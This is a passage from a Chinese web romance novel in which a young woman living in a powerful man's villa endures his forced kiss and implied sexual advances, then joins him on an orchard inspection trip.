陆明彰看到她毛绒绒的发顶,一字一点,像个欢脱的兔子。
他懒散地应:“听到了。”
不禁又看她一眼,恰好看到她神色复杂满腹牢骚的望着自己。
陆明彰的眼睛定在她身上,稍后,停顿在她饱满小巧的耳朵上。
皮肤白,耳朵常年藏在长发里,更白,嫩白如婴儿肌肤。
林间树木多,蚊虫也多,虽然已是深秋蚊虫变少,却也更毒。
她耳后,被叮下一个包。
这样隆起的红色疙瘩,点缀在玉色肌肤中,竟让人感受一种残忍。
陆明彰眼波晦暗浓密,目光移开,又落下,不觉伸手触碰。
恰好一阵强风刮过,豆大的雨点接踵而至。
宋辞音双手遮盖额顶,臂肘刚好挡住他的手。
“前面有个亭子。”她食指点向方位
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,询问看向他。
陆明彰视线快速睇到凉亭,目光威压扫视一圈,紧握住宋辞音手腕,快步奔跑至亭内。
两人身上都落了雨。
宋辞音用手背擦抹眼上的水珠,手掌垂下,紧握成拳,微微弯了腰,捶打双腿。
她身穿一条素色长裙,衣服挂在橱柜里时平平无奇,甚至过于朴素。
但出自于大品牌,设计师对于版型剪裁别有心意,穿在人身上,落落大方兼顾展示出女孩出水条似的有致身材。
V领设计,露出精致的锁骨下一片白。
浑身被雨水打湿,布料紧贴在皮肤,年轻的鲜活的身体,呈现包裹姿态。
尤其弯腰时,早就泄露一片春光,甚至有雨珠顺着波荡滑进去,她还浑然不知。
“很累?”
“是有一点,但还好。”宋辞音小脸板正,客观评价,“还挺开心的。”
“嗯。”陆明彰轻声应,声音沉闷,“有多开心?”
“让我想到小时候去外公家干农活,外公走了五六年了,好像又回到外公身边。”
宋辞音扬起脸,看到他短发被雨水打湿凝结成一丝一缕,睫毛鼻梁和下巴上都挂着雨,水汽氤氲模糊柔和了他的轮廓,沉稳老成的男人露出鲜少的少年感。
这倒新鲜。
宋辞音收回目光,总觉得气氛闷热有丝怪异,再次扭脸望向他。
一双幽黑眼瞳直直凝着她,目光沉沉复杂。
她意识到奇怪之处。
即使知道晚上会发生什么,此刻仍难以置信。
杏眼怒睁,错乱望向别处,亭子顶部积水,边沿亭檐汇聚成一排水帘。
草木繁翠清幽,笼罩在朦胧的雾色中。
她不敢再看他,胡乱问:“你外公还在吗?”
陆明彰凑过来,贴近了些,语气平常:“早走了吧。”
宋辞音往旁边靠,小臂撑在围栏上。
恰有两位扛着水泥桶的工人师傅,冒雨进亭。
工人师傅探寻的在两人中间打量一番,此时陆明彰已经遮挡在她前面,把她隔绝于他人视线之内。
两师傅在聊天。
“今年秋天雨真多。”
“老话说一场秋雨一场寒,十场秋雨要穿棉。今年冬天肯定冷。”
“是啊,说不定会连续下雪。”
宋辞音很不喜欢下雪。
家里的老房子,管道早就破旧失修,暖气并不充足,冬天最冷的时候,卧室里凉飕飕的,她要盖很厚的棉被,才暖和。
而且下起雪,地面滑,公共交通拥挤而缓慢。
总之哪哪都不方便。
宋辞音默默祈祷:菩萨保佑,冬天不要下太多雪。
两人彼此缄默,她看到他湿透的背,衬衫变成透明状,依稀可见肌肉边廓,和沾了水的后侧发梢。
雨终于停了。
两名工人师傅讨论下雨耽误做工,骂骂咧咧离开。
亭内只剩他们二人。
宋辞音跟在他们后脚,低头耸肩,慌乱离开是非之地。
一只脚刚踏出,有人稳稳牵拉住她手腕。
“怎么了?”
她下意识回头,还未来得及抬起眼睑,只见一双挺直长腿咄咄逼近。
宋辞音势单力薄,堪堪后退,直到背抵在坚硬的柱桩上,硌得人生疼。
“你真是……”她囔着,娇气嗔怪,脸颊透了汗,眼神哀怨。
下一秒,唇被人含|进|嘴里。
8. 第 8 章
回到别墅,进室内门时,有佣人默默屈膝下蹲,去解宋辞音的鞋带。
鞋底沾了不少天地里的泥土,和湿淋淋的雨水。
佣人面色恭顺,没一点情绪,姿态熟稔而平常。
心头滑过丝丝不自在,她连忙往后退了几步,仓促着说不用,顺手自己把鞋踩掉。
绝对不接受、也不习惯这种程度的服侍。
在这座别墅里,过得是这般骄奢淫逸的生活?
震惊程度,不逊于刚刚被狗啃。
只要想起那个绵长的灼热的黏腻的吻,她就感到窒息。
心是冷的,脸是热的,嘴是痛的。
只能不断去回想去奶奶家时,大黑狗冲扑过来,不断扒拉舔舐她的回忆。
企图通过运用记忆A,去覆盖记忆B。
但……不得不承认,很难成功。
人和狗,还是不一样的。
陆明彰和大黑,还是不一样的。
大黑没有那么有力霸道的手臂,大黑没有那么粗重灼烫的呼吸。
大黑不会让人难堪。
走到三楼“她的房间”,李秀桦正好从房内出来,赶紧再次推开房门,语气殷切:“洗澡水放好了,赶紧去泡个热水澡吧,最近发热的多,可不好再感冒了。”
宋辞音进门。
李秀桦帮她带上房门的空隙,又念说:“明彰也是,带你出门也没拿把伞。”
声音被隔绝在房门外。
宽大的浴缸蓄半水,水是淡淡黄色,飘起丝丝药香。
大概是有暖身的效果,能感受到全身血液沸涌,额头冒出一层薄汗,脸颊也热热的。
宋辞音放松躺进浴缸,手搭在扶手,闭上眼睛。
思绪放空,感官被无限放大。
似乎能感受到每一滴水滑过肌肤的触犯,全身毛孔被打开,被滋润过的肌肤散发饱满浸润的光彩。
睁开眼,设计繁琐的水晶吊灯淌出绚丽而静谧的光。
这是一种全新的体验。
宋辞音想到在田地的恶作剧,点开手机网页。
隐约捕捉到心态上的一丝火苗,“哗”,她霍然起身,迈到淋浴下冲洗。
宋辞音头发长,发量多,吹干需要花费大力气。
但她又比较懒,嫌麻烦,习惯性吹一半就晾着,忙别的去了。
所以,当她仅吹干一半就收起吹风机,坐梳妆台前玩手机打发时间时,刚进门的李秀桦一脸惊恐,去开橱柜。
“你这孩子,怎么不好好吹干呢,现在年轻觉不出来什么,等年纪大头疼,后悔也太不及了……”
宋辞音缠在半湿发尾的手指,握了握。
“来,我给你吹。”李秀桦很热情,让人不好意思拒绝。
她抿唇,乖巧点头:“谢谢你,桦姨。”
“这头发真好。”李秀桦捋着她的头发,连连赞叹,瞥见镜中如花似玉的容颜,笑叹道,“谢我做什么呢,我不过是做了份内的事儿,你要谢啊,就写明彰……”
说着叹了口气,目光游离,似乎陷入某种回忆:“明彰不容易啊,是个可怜人。”
宋辞音转身。
四目相对,李秀桦再次喜笑颜开:“不过宋小姐来了嘛,以后就好了。”
这些话宋辞音自动过滤,她只听到“是个可怜人”。
打工的心疼自己老板,这……这对吗?
人在极度无语时真的会笑。
她也确实笑了,“秀桦阿姨认为自己可怜吗?”问得磕磕绊绊。
这么问是有点冒犯无礼,她实在没忍住。
李秀桦把整理好的吹风机放进橱柜,示意让门口的同事进来:“我当然不可怜呀,我家庭幸福,工资还高,很幸福了呀。”
“那您觉得我可怜吗?”宋辞音难以置信,眼睛一眨不眨。
“宋小姐当然也不可怜啊,遇到明彰这么好的男人,你以后呀,就知道他的好咯。”
李秀桦笑容真挚。
宋辞音试图从她脸上捕捉言不由衷,以失败告终。
她有些为刚才的无礼而羞愧。
或许有的人就是知足常乐,就是以善意宽厚看待他人。
讨厌陆明彰是自己的事,李秀桦如何看待老板,是她的事。
人生而不同,每个人都有自由想法的权利。
但这份“羞愧”的负面情绪,并没有伴随宋辞音很久。
她那样想那样问,也很正常啊。
没办法,她就是擅长自我放过,很少内耗。
做护理的佣人撩起宋辞音一丝发尾,她就要起身局促说:“我自己来吧。”
李秀桦双手搭在她的肩膀,把诚惶诚恐的人按下。
“这才哪到哪儿,没什么不好意思的,我们啊,都是领了工资的,你不让我们干,我们不就失业了嘛?”
李秀桦笑容可掬,看着女孩清亮的眼睛:“宋小姐不想让我们失业吧?”
宋辞音被说服,轻缓摇头。
“这就对嘛。”
某一瞬间,李秀桦突然明白,为什么这个女孩能住进来。
护理完毕,宋辞音被亲热招呼着,下楼用晚餐。
从回来后就钻进书房的陆明彰,此刻端坐在餐桌前,看到人过来,放下手里的PAD。
她刚走到餐桌前,李秀桦就拉开老板旁边的椅子。
宋辞音埋着头,一副没看见的样子,在众人眼皮下坐在距离他最远的位置。
陆明彰左臂搭在餐桌,掀起眼皮,朝她方向缓缓扫了一眼。
他没说话。
四周静得可怕。
“宋小姐,”在卧室内热络的李秀桦,一改和善,声音冷硬而陌生,“请您坐到陆先生身边。”
似乎难以置信,她惊诧抬头。
李秀桦唇角微扬,笑意不达眼底,神色严肃。
这一刻,宋辞音感受到割裂。
下午田园牧歌,晚上珠围翠绕。
李秀桦难以捉摸的态度转变。
她识相起身,胸口胀胀得像是压着一块石头,乖顺坐到李秀桦拉开的椅子上。
一顿饭吃得鸦雀无声,连头都很少抬,餐盘里有什么吃什么。
用餐完毕已经是晚上七点半。
宋辞音提出去小花园里走走,消一消积食。
哪有什么积食,不过是在躲陆明彰。
已经快八点了,一会儿就要回卧室,一会儿要发生什么,不言而喻。
从花架走到秋千,从秋千走回花架,三个来回下来,已经过去一个多小时。
马上九点了。
抬头无星无月,一片低沉的云挂在头顶。
世界安静,只能听到风声和胸腔的心跳声。
回去吧,宋辞音哄自己,反正是逃不掉躲不了的,不回去,其他人也不好下班休息。
路是自己选的呀,至少家人都好好的,自己也很安全,这就够了呀。
能住进这样的大房子,还有人专门伺候,有什么不满足的呢。
她拖着身体进楼,上电梯,走进三楼的卧室。
宋辞音推开卧室门,鎏金华贵的浴室玻璃门被人从里拉开,走出来一个男人。
他上身赤|裸,下身穿一条深色睡裤,一只手按着毛巾擦拭湿发。
四目相对,两人动作都顿了一下。
宋辞音不经意错开目光,进退两难。
她应该去哪
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里待着?
去床上?她做不到。过于主动了吧?
去沙发那边坐会比较自在。去沙发要从他身边经过……
他就站在沙发旁的柜子前……
能不能挪一下地方?
宋辞音想着,朝沙发位置瞅了一眼。
这一眼,就撞进他沐浴后清隽俊逸的目光里。
刚从浴室出来,深邃眉眼染上湿润的水雾,淡化了神色的锐利。
隔着一层水,湿淋淋的,晦涩又直白地注视。
宋辞音心乱了节拍。
羞耻、恐惧、委屈,都有。复杂的情绪搅弄她。
人是复杂的,情绪也是复杂的。
陆明彰移开视线,手快速搓了下,随手丢掉毛巾,往卧室里面走。
宋辞音终于不用杵在门口,她慢腾腾地往室内挪,抬头,看到男人精壮的后背。
不是那种很夸张的身材,上宽下窄,肌肉偏薄,勾勒出偾张线条。睡裤松垮垮地搭在腰部。
后背没有擦干,水滴从后背向下滑。
灯光本就微黄,照在紧实的躯体上,让他皮肤呈现健康的蜜色。
宋辞音不声不响坐在沙发上,背脊挺直,屁股仅坐三分之一位置,出卖了她的紧张。
陆明彰拿起床头柜水杯,目光落在她身上,又移开。
他翻开蚕丝被一角,坐下去。
她在网上冲浪时,经常刷到邻里噪音纠纷相关帖子,总有人留言评论说:
【不接受一丁点噪音,去住别墅啊!】
原来别墅真的很安静,听不到一丁点声音。
仿佛世界静止。
直到听见有人拍了拍床:“过来。”
宋辞音抓住沙发扶手,起身,半耷眼皮,视线落在地板上,一步一步拖到床边,屁股挨上床垫,机械般躺下。
她闭上眼。
“陆明彰。”声音细细的怯怯的,叫他名字,这是他第一次叫他名字。
身边人轻轻“嗯”了声,不真切。
“吃饭前我用手机搜索了。”
身边人不语,等待下文。
宋辞音自顾说下去:
“从生物演化角度,恶作剧和神经机制及演化适应性相关,通过试探到反馈,实现社会动物生存演练,探索社交边界。
在引起他人或恐惧或滑稽反应时,大脑会释放多巴胺,产生愉悦感;触发杏仁核兴奋,致使肾上腺素分泌,引发轻微【追或逃】反应,成功后的压力释放可降低皮质醇水平,形成生理性舒压循环。”
这段话,她看了好几遍,揣摩很久,不难背下来。
宋辞音说完,睁开眼,脸缓缓朝向他的方向,迎上他的眼睛:“你这样对我,是在玩你的恶作剧游戏吗?”
头顶有呼吸声,忽远忽近,忽快忽慢,是他的。
陆明彰诧然,保持低头看她的姿势,半阖着眼,探究地目光落在她脸上。
宋辞音手陷进丝被中。
下午去田地里栽种,某种意义上拉近了二人的距离,以至于模糊了两人身份地位差异的边界。
此刻看他眉头紧锁神色冷肃,才觉得后悔、后怕。
慌乱把丝被扯到头顶,身体往外挪了挪,闷闷道:“我说着玩儿的,不用回答。”
随后,又悄悄把丝被塞到眼睛下面,小心打量。
许久,一只手搭握在她腰上,用力一带。
紧张的身体,紧挨在另一具身体上。
“你快掉下去了。”他说,声音很沉,很低,“不管是不是游戏,你都可以大胆一点,以后想往哪移往哪移。”
——贫贱、不能、移。
——以后想往哪移往哪移。
9. 第 9 章
清晨。
一扫多日阴雨,天彻底放晴。
经历过昨晚用餐时的不愉快,宋辞音老老实实坐在陆明彰旁边的位置。
她微微埋着头,眉眼低垂,浓长的睫毛掩盖住眸低情绪。
手边是一碗汤,也没去注意是什么,机械抓住重量偏沉的汤匙,舀了一勺。
姿势有些许不自然,好像手和身体不是一个人。
旁边有两道目光在看自己,稳住,稳住。
事情要从昨夜讲。
当时陆明彰一只手放在宋辞音腰上,把人往里拢了拢。
靠着男人质地偏硬,温度又高的身体像是一张密网,将她包裹住。
那会儿灯已经被关了,看不清人脸,触觉味觉听觉显得格外清晰。
宋辞音紧张得说不出话。
“别抖了。”陆明彰竟收回手,重新躺下,他的声音像是羽毛在皮肤上滑过,平缓的,触感又十分强烈,“今晚不动你。”
似乎感受到身边女孩的疑惑与不信任,补充说:“你身体太虚了,医生让你先温补,缓一两天。”
心跳回归正常,宋辞音的手渐渐放下垂,想到陆明彰竟和医生聊这样的话,缠住丝被的手又再次收紧。
“奥。”
她小小应了声。
耳边有窸窸窣窣的声音,好像是陆明彰胳膊后伸,两掌垫在脑后。
“你身体太差。”他下结论,“多活动,活血化瘀,才会有力气。”
“为什么要有力气?以后还需要我干农活吗?”
身边静悄悄的,有渐重的呼吸声,一下,一下,撩拨耳朵神经。
“以后你就知道了。”陆明彰声音有点儿飘。
“我就是不喜欢动。”宋辞音撇嘴,头侧转向他的方向,隔着漆黑的夜看向他,“陆明彰,你的力气大吗?”
她叫他的名字,连名带姓,自然的随意的,好像就该这么叫。
陆明彰没有回答。
宋辞音有些奇怪,黑暗里,懵懂的眼中装满不解。
“以后你就知道了。”他答,声音略滚烫,像是老旧烧水壶快沸腾时的响声。
“陆……”
她话未说完,被突然侧身挨到她的男人吓了一跳,慌乱闭嘴抿唇。
“不是紧张么,现在怎么这么多话?”
他的气息真热啊,宋辞音把丝被往下拉了拉,仅仅盖住腰腹。
“因为你把灯关了,好黑,有点害怕,你跟我说话,我就不害怕了。”
陆明彰声音有点严厉,有点急:“怕什么?”
她咬住下唇,又松开,声音小小的怯怯的:“鬼。”
虽然伸手不见五指,但她看见了,黑暗中的男人表情一僵。
她就是看见了。
随后,室内亮起一簇光,不刺眼,淡淡的光晕撒在墙壁上,映出家具的影子,能让人勉强视物。
“这样呢?”他问。
宋辞音满足点头:“好多了。”
模糊中,她看见陆明彰深邃的面部轮廓,以及紧实的肌肉线条。
他仰头,背脊离开床榻,侧向看着她。
一向沉着的目光中,夹杂着复杂浑浊她看不懂的情绪。
似曾相识,在小亭中,也是这样……
宋辞音明显慌了,收回目光就要转身。
手被人先一步捉住。
“干……干嘛……”她惊恐,话说得不利索,“你说你说的,今晚不动我。”
“嗯。”这是他的保证,身体靠近,语调中少有的狡猾,“没说你不能碰我。”
乱了,乱了,乱套了。
事情的发展超出了宋辞音的想象。
她一边哭一边催促:“好了吗?好了吗?”
陆明彰结束时,她哭得梨花带雨,肩膀抽动,手悬在半空中,眼都不敢看一眼。
他去了外面的卫生间。
宋辞音涂了五遍洗手液,冲了七遍水。
等洗漱结束,指腹被水浸泡,皱巴巴的。
回到卧室时,陆明彰已经洗好回来。
宋辞音扯开丝被躺下,身体蜷缩一团,背对另一人。
她要牢牢铭记耻辱的夜晚,流泪到深夜——以此祭奠失去贞操的双手。
额……现实和想象总是有偏差。
实际上,还没五分钟,宋辞音已经响起均匀呼吸声,熟睡过去了。
她是真累到了,下午在小菜园,实实在在劳作两个小时。
朴素的行为能让人睡得踏实,陆明彰想。
听着她的呼吸声,沉思的男人感受到一种鲜活。
宋辞音醒来时,卧室里没有其他人,身旁皱乱的床榻,提醒她昨晚确实和人同床共枕。
洗漱时,回头望一眼仅她一人的卫生间,鬼鬼祟祟抬起手,凑到鼻子闻了闻。
只有沐浴液馥郁的香气。
没有别的味道。
不放心,又搓洗三遍。
直到用早餐,两只手仍是怎么都不得劲儿。
“S城不比我们这儿,温度要比我们低很多,你又要经常在室外,在你行李里放了两件羊毛衫,记得穿。”李秀桦看宋辞音只顾低头喝汤,一小碗鸡汤很快见底,便又给她盛了一碗。
继续说:“算了,我还是提醒一下王助理吧,他在生活上比较细心。”
宋辞音精准捕捉到关键词——行李。
她霍然抬起头,征询地看向陆明彰。
陆明彰正好看向她,似乎知道她心里想什么:“要出差,两三天后回来。”
出差,两三天?
不就意味真他至少两三天不在别墅里?
至少两三天内不用考虑如何和他相处的问题?
天气放晴,人的心情也放晴了。
这突如其来的好消息,快把她砸晕了。
宋辞音耷拉的眼皮都睁开了,嘴角止不住上扬。
陆明彰放下汤匙,凝着她:“你很高兴?”
“有吗?”笑。
“没有啊。”笑。
“我没有很开心啊。”大笑。
宋辞音不去看面色不虞盯着自己的人,喜上眉梢,食指大动:“桦姨,这个还有吗,我还要喝一碗。”
“哎,有!”
陆明彰不再看她,抿一口茶水,眼睛再次落到她身上:“你吃太多了。”
“之前我就说我吃的多,你说你养得起。”宋辞音笑盈盈,期盼地看着他,“是不是觉得我这样挺不好,想把我送走了?”
下一秒,手腕被人抓住。
“哎,你……”
“胃热。桦姨,给她煎一贴玉女煎。”
陆明彰松开她的手。
李秀桦应下。
“你刚才是……”
“把脉。”
“是医学生吗?”
“不是。”陆明彰五指向下,把她的碗碟移到另一边,淡淡道,“和专业医生比不了了,简单的号脉辨证没问题。”
“奥。”
宋辞音有点
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羡慕他的。
准确说,她羡慕所有多才多艺的人。
尤其像他这样,不显山不露水,趁人不注意放个大招。
“学中医难吗?”
陆明彰都不思考,直接回答:“不难。”
“学习是最简单的事了。”
……
嗯……
宋辞音顷刻不再有窥探欲。
显着他了。
“你问他可是问对人了。”李秀桦给陆明彰见空的茶杯续上水,“明彰高中就可以去国外读书的,他坚持留在国内,中学打了太多竞赛,不用高考就被录取了。”
说起陆明彰的事儿,李秀桦简直是如数家珍。
“虽然被保送,但还是参与了高考。”
“啊?为什么?”被保送,这是多少学子的梦,尤其是不用参加考试,这多爽的事儿啊。
陆明彰老神在在拿起茶杯,呷了一口,理所应当反问:“不参加高考,怎么当状元?”
……好吧。
“所以啊,明彰说学习是最简单的事,真不是他狂,有这个资本讲嘛,学习真是他履历里,最不值得一提的事儿了!”
“好了。”陆明彰打断,“过去的事,不用反复讲了。”
李秀桦笑着点点头。
宋辞音再次捕捉到“重点”——反复讲。
看来李秀桦讲过很多遍嘛,给每个被带回别墅的女人。
她一副“我懂,我懂”了然于胸的样子。
陆明彰皱眉,口吻多了些许严肃:“我不在家的几天,你要早晚慢跑五……”顿了下,“三公里。”
显然是对宋辞音说的。
人不在还要给她派活下任务?
让她跑步还不如要她命。
不过问题不大,天高皇帝远,他又不能盯着她跑。
“早晚向我汇报。”
“啊……”
他略沉思:“每次跑的时候录像,发给我。”
“好吧……”
冷静冷静,宋辞音往好处想,跑就跑,总比和他同处一个屋檐下要好。
李秀换扭头看了眼窗外,提醒说:“王助理他们已经到了。”
陆明彰没有动。
厅堂内一时陷入沉默。
宋辞音一直低着头,去数餐盘上有几道花纹。
一只大掌抚上她的头,狠狠揉搓了几下,她气恼抬起头。
陆明彰已经起身,垂眸看着她。
“走了。”他说。
宋辞音咬了下唇。
“去送送吧。”李秀桦拍拍她的胳膊。
药刚煎好,佣人用托盘端来一碗黑乎乎的汤水。
陆明彰手臂一挥,没再回头:“喝药吧。”
说罢一手把西装外套搭在另一条胳膊上,大步流星走向正厅大门。
宋辞音呆呆坐在原地,眼睛抗拒瞧着汤药,每次她抬起头,就看到李秀桦一脸严厉地盯着她。
眼神示意,让她赶紧喝。
斗争了半个多小时,中间好加热一次,她鼓起勇气,捏住鼻子,一饮而尽。
“嘭”放下碗,五官扭成一团儿,胃里一阵翻涌,差一点吐出来。
就在大口呼吸新鲜空气时,一双杏目倏地圆睁,不可置信地看着早就离开的人,又赫然出现眼前。
陆明彰身型落拓,步伐仓促,眼睛炯炯明亮,像是捕捉到所有的晨光。
目光明确地落在她脸上,吩咐说:“桦姨,五分钟,把她行李收拾出来。”
10. 第 10 章
机场方向偏离市区,又是清晨,路上车不多。
宋辞音臂肘撑在车门把手,头托着腮,看树影林立后退。
就是不想面对旁边的另一个人而已。
高速路弯曲盘桓,车子打弯行驶,余光看到他们车后,竟然跟着四五辆一样的黑色轿车。
排成一列,不急不缓地跟着,连彼此之间车距,都一模一样。
“咦?”她惊讶出声,手掌垂落,下意识看向身边人。
陆明彰视线从电脑屏幕移开,皱眉:“怎么了?”
“后面跟着好几辆车。”
“嗯。”他的目光再次落到密密麻麻英文字母上,“习惯就好。”
……习惯?
宋辞音再次趴到窗前,双手扒在玻璃下方,惊惶地瞄了眼车队。
到达机场,车队里零零散散下来八九个人。
其中有两位是陆明彰的助理,一位叫王图南,长得白白胖胖,笑起来像弥勒佛。之前在咖啡店碰到过。
另一位助理叫吴建群,高高瘦瘦,不苟言笑。目光在宋辞音脸上扫过,微微颔首,就算是打招呼,两人没有再对视一眼。
还有几位是本地大学的教授,每人带了两名学生助理。
众人看向宋辞音的眼神,有好奇,有探究,但也只是心照不宣地轻松掠过,表现出无波无澜的样子。
大家对待陆明彰时,无不赔着小心,谁敢去问宋辞音的身份?
却也心知肚明。
就男人那么点事儿,正常。
“陆总,这儿。”
有人专门接待,大概时间比较紧,能不紧嘛,陆明彰走到半路又杀回来解她。
一群人步履匆匆,走的是特殊通道。
宋辞音快步跟在他侧后方半步的距离。
行程紧促,等坐到头等舱位置,她才想起不对劲来。
谈还不知道目的地是哪儿。
一些恐怖的念头如影随形。
“我们这是去哪儿?”
两人中间相隔二三十公分距离,陆明彰望过来时,日光穿过他身后玻璃,他侧脸,光线下的骨相登时无比清晰明朗。
宋辞音拘禁抿唇。
从她骨碌碌转动的眼睛里,陆明彰就知道,这小姑娘又开始胡思乱想了。
他身体往前凑了凑,离得更近些,贴到她耳边,淡淡道:“去……把你卖掉。”
“啊?”
宋辞音心脏乱颤,回过神再去看他,男人已经阖眼躺在靠背。
“你逗我的吧?”她喃喃重复,“肯定是骗我的。”
起飞前,乘务组有播音行程,但那时她正弯腰换鞋,模糊听了一耳朵,不真切。
空姐送橙汁时,她招招手:“问个问题。”
她压低嗓子,用两人才能听到的声音:“我们这是去哪儿呀?”
空姐半蹲下,说了一个北方的城市。
宋辞音心塞肚子里一半,还好,还好不是南方边境。
飞机落地,乘客有序离开,她的屁股好像黏在座位上,有紧张有纠结:“陆明彰,你不会真的要把我卖掉吧?”
“那可说不准,看你表现吧。”他起身,扣上西装纽扣,垂眸,居高临下看她。
宋辞音咬住下唇。
其他同行人员已然离座,聚在出口处说话,大家默契背过身,没人往这个方向看。
陆明彰也不急,慢条斯理俯下身:“你要再不起来,我让飞机立即掉头去缅甸。”
宋辞音赶紧站起来。
男人笑着直起腰,一手抄进口袋,昂首阔步往外走。
其他人紧随其后。
地机场早就备好专车等候,几人再次上了车,大概一个小时后,到达此行第一个目的地。
当地官员和工作人员等候多时,自然恭谨寒暄,并提出已经准备好接风宴席。
“别整不实在的,先去基地。”陆明彰一向直来直去,铁血手腕,有事说事,工作第一。
转念考虑到有些人是在基层踏踏实实做事的人,不好让人以为嫌弃乡镇餐食简陋,“下午如果时间充裕,再吃也不晚。”
王图南会意,笑着说:“实在不是客气,飞机上给备了午餐,就算想去,肚子也装不下了啊。”
“呦,你还想吃啊。”吴建峰笑起来时眼睛格外亮,瞅一眼同事的肚子,“你想吃,你的脂肪肝想吃吗?”
众人哈哈大笑,一时气氛松快不少。
嬉笑声中众人走到基地。
宋辞音被眼前景象所震憾。
万亩果树连绵起伏,枝叶繁茂翻涌至天际,累累果实压弯枝头。
陆明彰走在最前面,左右相陪的是当地长官和基地负责人。
助理和几名教授围在周围,宋辞音和几名学生不紧不慢地跟在后头。
“3号果色泽差了点,大小和甜度是其它几个比不了。”
陆明彰注意力都在果子上,目光是一种别样的沉着和光彩。
“重点改良23号基因。”
一位教授笑道:“陆总不在实验室,研究的知识面和深度,就是我们这些天天泡在实验室的,也难比啊。”
王图南双手交握垂在腹部,注视正沟通交流,传达指示的老板,目光崇敬,有与有荣焉之感。
从自己爷爷那一辈起,就是陆家老爷子的秘书。
到了他这代,做了陆明彰的助理。
王家在城里扎根大几十年,在一些亲戚眼中,是有权有势的达官显贵,是少数的那一撮人。
而陆明彰,就是那少数一撮人中的少数一撮人,真正的钟鸣鼎食,掌握生产资料。
陆明彰没有跟父辈一样投身部队,毕业后在农业发展、留守儿童福利和深度学习领域,做出了可圈可点的实绩,帮助数以万计的人提升收入,促进儿童妇女权益的保护,培养了多个人工智能高精尖人才……
这个社会除了表面的规则程序外,深处有一只看不见的手,把控各方势力和资源的运转。
而并不会被世人所熟知。
陆明彰就是那只手。
像他们这种含着金汤匙出生,顶格富贵的人物,出身太好,功名利禄搓手可及,一切来的太简单,公器私用和游戏人间的不是少数,甚至有可能是大多数。
随便一个决定,就可能关乎万千家庭利益关系,而一切都要看当事人想法和心情。
更别说奢靡享乐,纵情声色的了。
陆明彰却不好酒色,应酬也是能免就免。
试问他这个位置的人,公德说得过去就很了不起了,泾渭有一别,私德大多数人睁一只眼闭一只眼,水至清则无鱼,哪有完全的白玉无瑕。
陆明彰除外,他的私德也让人挑不出错处。
王图南视线不自觉落在懵懂稚嫩的年轻女孩身上。
他蹙了下眉。
这是个例外。
王图南想,还是那句话,做出实绩公德不亏,已然是凤毛麟角功在千秋。陆明彰私德方面,跟其他人比,也绝对是佼佼者了,从他毕业跟着他,这么多年,
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也就对这一个女人用了手段。
够克制了。
试问哪个特助不需要帮老板打点后宫?
试问谁能做到陆明彰这个程度?
王图南想到这儿,眉眼舒展,胸口的一口气也吐出来。
陆家是谁都能进的吗?也就当个宠物玩一玩。男人的正常需求嘛,他能理解,
恰好陆明彰和几位专家讨论着果树的防虫技术,周建峰及时接话:“前段时间刚发表的一篇论文……”
王图南可能自己都没意识到,他有个唇角上扬又瞎撇的微表情,人情练达早就让他行动庄严喜怒不形于色,但只是隐藏的好罢了,人与生俱来的本能是没有办法完全摒除的。
就像现在,在他微表情的同时,内心嗤笑飘过几个字“小镇做题家”。
吴建峰似有所感,正好转过脸,与他目光相撞。
王图南泰然一笑。
“小到工具,现在仍然存在从前刻板印象的弊端。拿铁锹举例,如果一个家庭有一把,那大概率男主人用的更衬手。现实情况是很多家庭女性为主要劳动力。”
宋辞音想到在小菜园,拿铁锹挖土刨土时,手柄过粗,自己手并不好抓握,以至于要使更多的力气,胳膊又酸又累。关键是效率低下。
一位五十岁上下的随行人员,不住点头,应和着:“是啊,尤其是现在很多家庭男人进城打工,留下老婆在家照顾家庭,这家务、农活,都是女人在操持。陆总说的都是很细致,又容易被人忽略的痛点啊。”
其他人哪有不符合道理。
“是啊,是啊。”
“摘果机的改进上,除了做工的准确性和效率性,要重点完善男女老少不同人的使用实用性。”
阳光穿过果树撒在说话人的肩头,他眉骨高,阳光照下来时在眼周形成一片阴影,以至于其他人在正午光下被晒得眯着眼,而他眼睁着亮着,目光坚定地望向果树,望向更远的方向。
时而若有所思,时而抒怀展笑。
宋辞音移开紧随他的目光,眨了眨眼,又看向他。
“这种情况有没有做过对照组?”
一时鸦雀无声,有两位“嗯……啊……”两声,搓着手,大概在想怎么应对。
王图南抢先一步:“已经联系了机构,争取那边尽快出结果。”
吴建峰注意力从果子移开。
陆明彰大步向前走,偶有长势喜人的树杈遮挡去路,有手眼伶俐的,快速伸出手准备撩开。
“尽快是什么时间?让他们给确定时间,一周内我要看到结果。”他快一步,抬起手背,撩开遮挡物。
那人的手停顿半空,快速悻悻收回。
吴建峰沉默跟在身后。
一群人转头往回走。
果园植被茂盛,氧气充足,自带疗愈效果。
宋辞音用手抚摸凹凸崎岖的树干,抚摸每片叶子的厚度。
指腹磨砺的触感那么强且又真实,十指连心,达到心脏。
就在大家赞叹果子长得好,要转场到下一个基地,一个八九岁大的小男孩,从一棵巨大梨花后窜出来。
小孩手里捏着啃剩一半的柿子,嘴角、手上,流着黏糊糊的汁水。
关键是小腿撒欢跑得特别快,撞上人时没刹住车,一只手准确无误拍在陆明彰腹部。
名贵黑色西装染上一个醒目手印。
基地负责人肉眼可见慌了,一把拽住小孩胳膊:“乱跑什么?你是哪家小孩?”
说罢紧张地看向陆明彰。
11. 第 11 章
小男孩明显被基地负责人严肃责问吓到,瞅一圈儿穿着黑衣服的严肃大人,没忍住,“哇”一声,嚎啕大哭。
基地负责人的脸色更难看了。
陪同官员斟酌陆明彰的脸色,脑子转得都快冒烟儿了。
上头的人说,助农本县的陆先生来头不一般,但是具体家世背景一直是神秘隐晦,没人知道这位年轻有位对农业经济精研的青年到底是什么身份。
总之,是他们的贵人,是他们的财神爷是没错的,是千万不能得罪的。
这……这么贵的衣服,怎么赔得起啊。
人群陷入默契的寂静,宋辞音站在人群末端,心跳不自觉加快,望向小男孩的目光中充满紧张和担忧。
“好了。”陆明彰面色如常,利落脱掉西装外套,“一件衣服而已,别吓到孩子。”
西装外套在他手里,随意一递,视线落在抽泣的小孩脸上。
自有王图南双手接过西装外套。
脱掉外衣的陆明彰,只穿一件白色衬衫,搭配黑色西装外裤。
站在一群西装革履人士中间,更加衬得身形落拓、挺拔。
当下时节这般着装,很单薄,这份单薄搭配上他强干作风,让他果敢利落的气质更明显了。
尤其是被众星捧月般拥戴,行为举止沉着持重,不急不缓,看向小孩时宽容温和。
“还不快谢谢陆先生!”基地负责人扯住小孩衣袖,就往人前凑。
陆明彰注意力本来都转向旁边梨树上,被基地负责人打断,淡淡瞥来一眼。
